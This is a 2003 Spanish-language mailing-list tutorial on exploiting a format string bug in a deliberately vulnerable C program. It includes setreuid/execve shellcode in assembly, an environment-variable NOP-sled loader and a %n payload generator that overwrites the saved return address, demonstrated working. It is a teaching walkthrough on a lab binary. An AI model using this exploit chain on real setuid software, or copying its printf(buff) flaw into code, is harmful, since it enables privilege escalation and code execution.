[HACK] ¿explotar un format string?
oscar at legio7.net
oscar at legio7.net
Sun Apr 6 15:43:39 CEST 2003
> Hola listaa.
>
> vuln.c
> ----------------------------------------
> #include
> int main(int argc,char **argv)
> {
> char buff[30];
> fgets(buff,29,stdin);
> printf(buff);
> }
> ----------------------------------------
>
> Este cacho de codigo es vulnerable a un ataque "format string"
> el cual quiero entender, como se puede explotar.
>
>
> Mi idea es colocar un puntero en "buff+30+4" que apunte a un
> shellcode.
>
> Bueno no se si me he eplicado o tengo el concepto erroneo.
> y como ya he dicho antes no lo entiendo, si alguno me hecha un cable
> se lo agradeceria.
>
Supongo que esto te ocurrirá porque no conoces todos los parámetros
disponibles en un printf.
A mi me ocurrió lo mismo la primera vez que lo ví. Desconocía la
existencia del parámetro %n (consulta en manual).
En principio, el buff está bien usado (no se desborda) y un printf solo
imprime (sea en el formato que sea). Como mucho, poniendo muchos
%algo sacaría muchos parámetros de la pila y podría desbordarla forzando
un Segfault, pero nada más.
Hasta que conozcas la chapuza del %n.
El parámetro %n significa que, el puntero pasado en dicho parámetro, se
almacenarán los bytes leidos hasta el momento. Es el único parámetro que,
en vez de producir una salida, lo que hace es escribir en un lugar de la
memoria.
un fragmento de C explicativo
int cuantos;
printf("cuenta a ver cuandos caracteres llevo escritos hasta
ahora%n",&cuantos);
Esto es, al printf se le pasa un puntero de donde debe escribir el printf
el número de caracteres escritos hasta el momento.
Ahora veamos como se puede explotar.
Si en tu programa pasas por la entrada estandar...
%X%X%X%X%X%X forzarás al printf a imprimir los parámetros
que se le debería haber pasado.
Como realmente no se han pasado, extrae de la pila de más, por lo que llegarás
a extraer incluso tu propia cadena (alojada en la pila) como parámetro.
Para verlo más claro, prueba con este parámetro pasado...
aaaaa %X %X %X %X %X %X %X
La salida que obtengo yo
aaaaa 12B 4012E1E0 78E530F 8048170 BFFEFB60 40011850 61616161
Esto es... al séptimo parámetro, estoy extrayendo ya las "a" (61616161)
Ahora que ya lo sabemos, la intención es la siguiente...
Se pasan 4 punteros (*int) para 4 %n que apunten a posiciones consecutivas.
de manera que podamos escribir un número determinado en una posición
determinada.
Para alterar el flujo del programa debemos conseguir saber (por estimación o
por otro método) la dirección de donde esté almacenado un puntero usado
para el flujo del programa. Podría ser la propia dirección de retorno
del programa en la pila, pero también podría ser un puntero de la tabla
usada para en enlazado (en linux se suele cargar en una posición fija para
un determinado ejecutable) para así llamar a la posición de memoria que
deseemos, por ejemplo, un shellcode inyectado en variable
de entorno.
Déjame que altere algo tu programa para hacer más sencillo el ejemplo.
/* ********** fmstr-explotable.c ***** <- RECORTAR POR AQUI -> ************ */
#include <stdio.h>
int main(int argc,char **argv)
{
char buff[300];
fgets(buff,299,stdin);
printf(buff);
}
/* ********** fmstr-explotable.c ***** <- RECORTAR POR AQUI -> ************ */
Verás que es similar al anterior. Sin embargo dispongo de 2 facilidades
más para emplotarlo.
Dispongo de un espacio significativo (300 bytes) para "jugar" con la
cadena, y por otra parte, conozco la posición de buff para machacar la
dirección de retorno del programa.
Mi exploit de prueba será en linux (casi todos disponemos de uno en casa :)
El siguiente código nos generará una variable de entorno con un shellcode.
Voy a tirar de archivo ;)
La parte de ensamblador ya la envié por aquí hace años (como pasa el
tiempo)
Tan solo variaré el programa de arranque. En vez de /bin/bash llamaré a
/tmp/sh. Eso me permitirá poder copiar otro programa en esa posición, para
hacer más visible el resultado.
Para mis pruebas suelo copiar el comando "id". (tiene un resultado "visible"
y poco molesto)
/* ********** codeexpl.s ***** <- RECORTAR POR AQUI -> **************** */
/*
// CODIGO CORAZON DEL EXPLOIT.
//
// Esta es la parte del código que se copia a la pila.
// Puesto que machacamos la dirección de retorno, podemos indicarle
// el punto donde comienza la ejecución. Aquí es, donde, tras un periodo
// de instrucciones NOP, se ejecuta código de la pila.
//
// En el código no debe haber ninguna instrucción cuya codificación
// del operando contenga algun 0, ya que si no, sera interpretada como final
// de parametro.
// Esa es la razón de que sea a veces algo enrevesado.
//
// Desde aquí se llama, usando la INT 80h directamente, a la función
// que queramos del kernel.
// Los parametros se pasan por registro (eax,ebx,ecx... etc).
// El numero de la llamada al kernel se puede ver en
/usr/include/sys/syscall.h
*/
.globl exploitcode,longcode /* Visibles desde el .c */
.data
.align 4
.type longcode, at object
.size longcode,4
longcode:
.long .longitud - exploitcode - 1
/* En la longitud solo se tiene en
cuenta hasta la cadena de la bash (sin incluir el final de cadena)
Para que quepan los datos solemos dejar en el programa principal
un pequeño area de espacio en la pila. */
.text
.align 16
.type exploitcode, at function
exploitcode:
xorl %eax,%eax /* Recuerda... No puede haber 0s. */
movb $49,%al /* 49 ->geteuid */
int $0x80 /* Llamamamos al kernel. */
movl %eax,%ebx /* En eax, uid del programa */
movl %eax,%ecx /* explotado.ebx=ecx=euid */
xorl %eax,%eax
movb $70,%al /* eax=70. Preparamos setreuid. */
int $0x80 /* El proceso ahora tiene
ruid=euid*/
movb $1,%al /* Me aseguro de que eax<>0 */
metopila: /* para la primera pasada */
orb %al,%al /* al=0? */
jz salida /* En la seguna pasada salimos */
xor %eax,%eax /* Para la segunda pasada al=0 */
call metopila /* Asi metemos ip a la pila */
/* pero solo podemos ir hacia
atras*/
salida: /* porque si no tiene 0s el opcode
*/
popl %ebx /* ebx=OFFSET salida. */
xorl %ecx,%ecx
addb $.CADENA - salida,%cl /* ecx=OFFSET .CADENA - OFFS
salida*/
addl %ecx,%ebx /* ebx=OFFSET .CADENA */
movl %ebx,%ecx /* ecx=OFFSET .CADENA también. */
xorl %edx,%edx
addb $.ARRAY1 - .CADENA-1,%dl /* edx=OFFSET .ARRAY1-OFF
.CADENA-1*/
addl %edx,%ecx /* ecx=OFFSET .ARRAY1 - 1 */
xorl %esi,%esi /* esi=0 */
movl %esi,(%ecx) /* Ahora el final de la cadena */
/* tiene un 0. :) */
incl %ecx /* ecx=OFFSET .ARRAY1 */
xorl %edx,%edx
movb $4,%dl /* edx=4 (OFFSET .ARRAY2 -
.ARRAY1)*/
addl %ecx,%edx /* edx=OFFSET .ARRAY2 */
movl %edx,(%ecx) /* .ARRAY1 = OFFSET .ARRAY2 */
movl %esi,(%edx) /* .ARRAY2 = 0 */
movl %ecx,%edx /* parametros de execve, Ok */
/* ecx=edx= OFFSET .ARRAY1 . Es un array a un puntero a una cadena
nula, mas un puntero NULL. (que es la propia cadena) :) */
xorl %eax,%eax
movb $11,%al
int $0x80 /* Llamamos a execve. */
.CADENA:
.string "/tmp/sh"
.longitud:
.ARRAY1:
.long 0
.ARRAY2:
.long 0
/* ********** codeexpl.s ***** <- RECORTAR POR AQUI -> **************** */
Y otra reutilización. Un código un poco más sucio, pero válido...
/* ********** exploit.c ***** <- RECORTAR POR AQUI -> **************** */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
extern void exploitcode();
extern long longcode;
#define NOP 0x90
main(argc,argv)
int argc;
char **argv;
{
#ifdef DIRECT_EXEC
char (*expl)();
#endif
int i;
int tamaglob=65536;
int tamanops;
char *codein,*codeout;
char *code;
codein=(char*)exploitcode;
if (argc>1) tamaglob=atoi(argv[1]);
code=malloc(tamaglob+100);
strcpy(code,"EGG=");
codeout=code+strlen(code);
tamanops=tamaglob-longcode;
for (i=0;i<tamanops;i++)
*(codeout++)=NOP;
for (i=0;i<longcode;i++)
if (!(*(codeout++)=*(codein++)))
{printf("Peligro en posición %d.",i);
printf("Un final de texto.\n");}
*codeout=0;
#ifdef DIRECT_EXEC
expl=(void*)code;
expl();
#endif
putenv(code);
execlp("bash","bash",NULL);
}
/* ********** exploit.c ***** <- RECORTAR POR AQUI -> **************** */
Compilamos...
cc exploit.c codeexpl.s -o exploit
Ejecutamos...
./exploit
Ahora, nuestra shell tiene una variable de entorno considerablemente grande
que contiene un adecuado shellcode.
El siguiente programa nos ayudará a tener una referencia sobre que posición
ocupará el shellcode en el programa a explotar...
/* ********** testexpl.c ***** <- RECORTAR POR AQUI -> **************** */
#include <stdio.h>
#include <stdlib.h>
main(int argc,char **argv) {
char *g;
void (*llamada)();
g=getenv("EGG");
llamada=(void*) g;
printf ("EGG en posición... %08X\n",g);
if (argc>1) {
printf("Llamando EGG...\n");
llamada();
}
}
/* ********** testexpl.c ***** <- RECORTAR POR AQUI -> **************** */
gcc testexpl.c -o testexpl
./testexpl
Devolverá una salida como..
EGG en posición... BFFEFEA4
Dado que el shellcode es bastante grande (64K) y su comienzo son NOPS podemos
dar algo más de margen como comienzo...
Coloquemos pues, el puntero de destino al shellcode en 32K bytes más lejos
(BFFE7EA4).
Volvamos al programa. Si lo ejecutamos nos dice algo como...
buff está en BFFEFB0C
Por tanto, la dirección de retorno de la pila estará a 304
bytes más allá de esta dirección (300 del buffer+4 del push ebp para el
leave).
Por tanto el puntero del string que debemos machacar es
BFFEFC3C
Es decir, en BFFEFC3 debemos poner el puntero BFFF7EA4 de manera que al
finalizar la instrucción printf, se ejecute nuestro shellcode cuando se
salga del main.
Puesto que con %n se copia el número de caracteres imprimidos, y tampoco es
plan de imprimir varios gigas de caracteres ;), vamos a ir guardando en
posiciones consecutivas los bytes que conforman el puntero.
(en Intel, en little endian) Por tanto, primero se escriben A4 (164)
caracteres,
luego 7E (126), luego FE (254) y por último, BF (191), en las posiciones
BFFEFC3C BFFEFC3D BFFEFC3E y BFFEFC3F respectivamente...
Primer código de prueba... Situamos los punteros al inicio de la cadena con
4 bytes de separación (luego se verá para qué) e
imprimimos %X para ver cuando hemos de sacar de la pila antes de los
primeros bytes...
#include <stdio.h>
main() {
printf("%c%c%c%c %c%c%c%c %c%c%c%c %c%c%c%c%%08X "
"%%08X %%08X %%08X %%08X %%08X %%08X %%08X",
0x3C,0xFC,0xFE,0xBF
,0x3D,0xFC,0xFE,0xBF,0x3E,0xFC,0xFE,0xBF,0x3F,0xFC,0xFE,0xBF);
}
Compilamos y ejecutamos pasándolo al programa víctima...
cc cadena.c -o cadena
./cadena | ./fmstr-explotable
Bien... Podemos ver que el séptimo %08X es la primera posición que deseamos
machacar.
Si en vez de %08X hubiéramos escrito %n hubiera guardado el número
4(primer puntero)+4(espacios)+4(segundo)+4( )+4(3)+4( )+4(4)+8(primer %08X)
+1( )+8(segundo %08X)+1( )+8(3)+1( )+8(4)+1( )+8(5)+1( )+8(6)+1( )=
82 caracteres.
Nosotros queríamos guardar un 164 en dicha posición...
Nada más fácil. Se cambia uno de los %08X anteriores por %090X, por lo que
la cadena imprimida crecerá en 82 bytes (82+82=164).
Por tanto, ya habríamos conseguido guardar 164 en en primer byte.
Para el segundo.
Bien... En el segundo byte queremos salvar 126.
Como no podemos decrecer, en ver de 7E, guardaremos 17E (382) (pues la parte
alta nos es indiferente ya que la machacaremos con los siguientes punteros)
382-164= 218. Quitando 2 para los espacios (antes y despues del %08X) quedan
216.
Por tanto sustituyendo el siguiente %08X por %0216X conseguiremos en el
siguiente %n guardar 17E...
Repetimos el procedimiento con el 3 y el 4 y cumplimos el objetivo :)
Queda de la siguiente manera...
/* ********** cadena2.c ***** <- RECORTAR POR AQUI -> **************** */
#include <stdio.h>
main() {
long int pos=0xBFFEFC3C,pos1,pos2,pos3;
pos1=pos+1;
pos2=pos1+1;
pos3=pos2+1;
printf("%c%c%c%c %c%c%c%c %c%c%c%c %c%c%c%c"
"%%08X %%08X %%08X %%08X %%08X %%090X %%n %%0216X "
"%%n %%0127X %%n %%0190X %%n"
,(pos>>0)&0xFF,(pos>>8)&0xFF,(pos>>16)&0xFF,(pos>>24)&0xFF
,(pos1>>0)&0xFF,(pos1>>8)&0xFF,(pos1>>16)&0xFF,(pos1>>24)&0xFF
,(pos2>>0)&0xFF,(pos2>>8)&0xFF,(pos2>>16)&0xFF,(pos2>>24)&0xFF
,(pos3>>0)&0xFF,(pos3>>8)&0xFF,(pos3>>16)&0xFF,(pos3>>24)&0xFF
);
}
/* ********** cadena2.c ***** <- RECORTAR POR AQUI -> **************** */
gcc cadena2.c -o cadena2
./cadena2 | ./fmstr-explotable
¡Bingo!
Volviendo al caso original, podría resolverse aumentando el tamaño del
exploit para poder necesitar tan solo variar los 2 bytes más altos del
puntero para reducir el uso del caracteres en la cadena así como realizar
algunas pruebas para estimar la dirección del puntero (al no disponer de la
referencia), aunque el sistema es básicamente el mismo.
Para otros casos reales, se suele usar la modificación de algún puntero de
la tabla de enlazamiento ya que las posiciones son fijas para un ejecutable
determinado.
En cualquier caso, espero que esto haya servido para explicar la base del
funcionamiento de un error de formato de cadena.
Saludos...
More information about the hacking
mailing list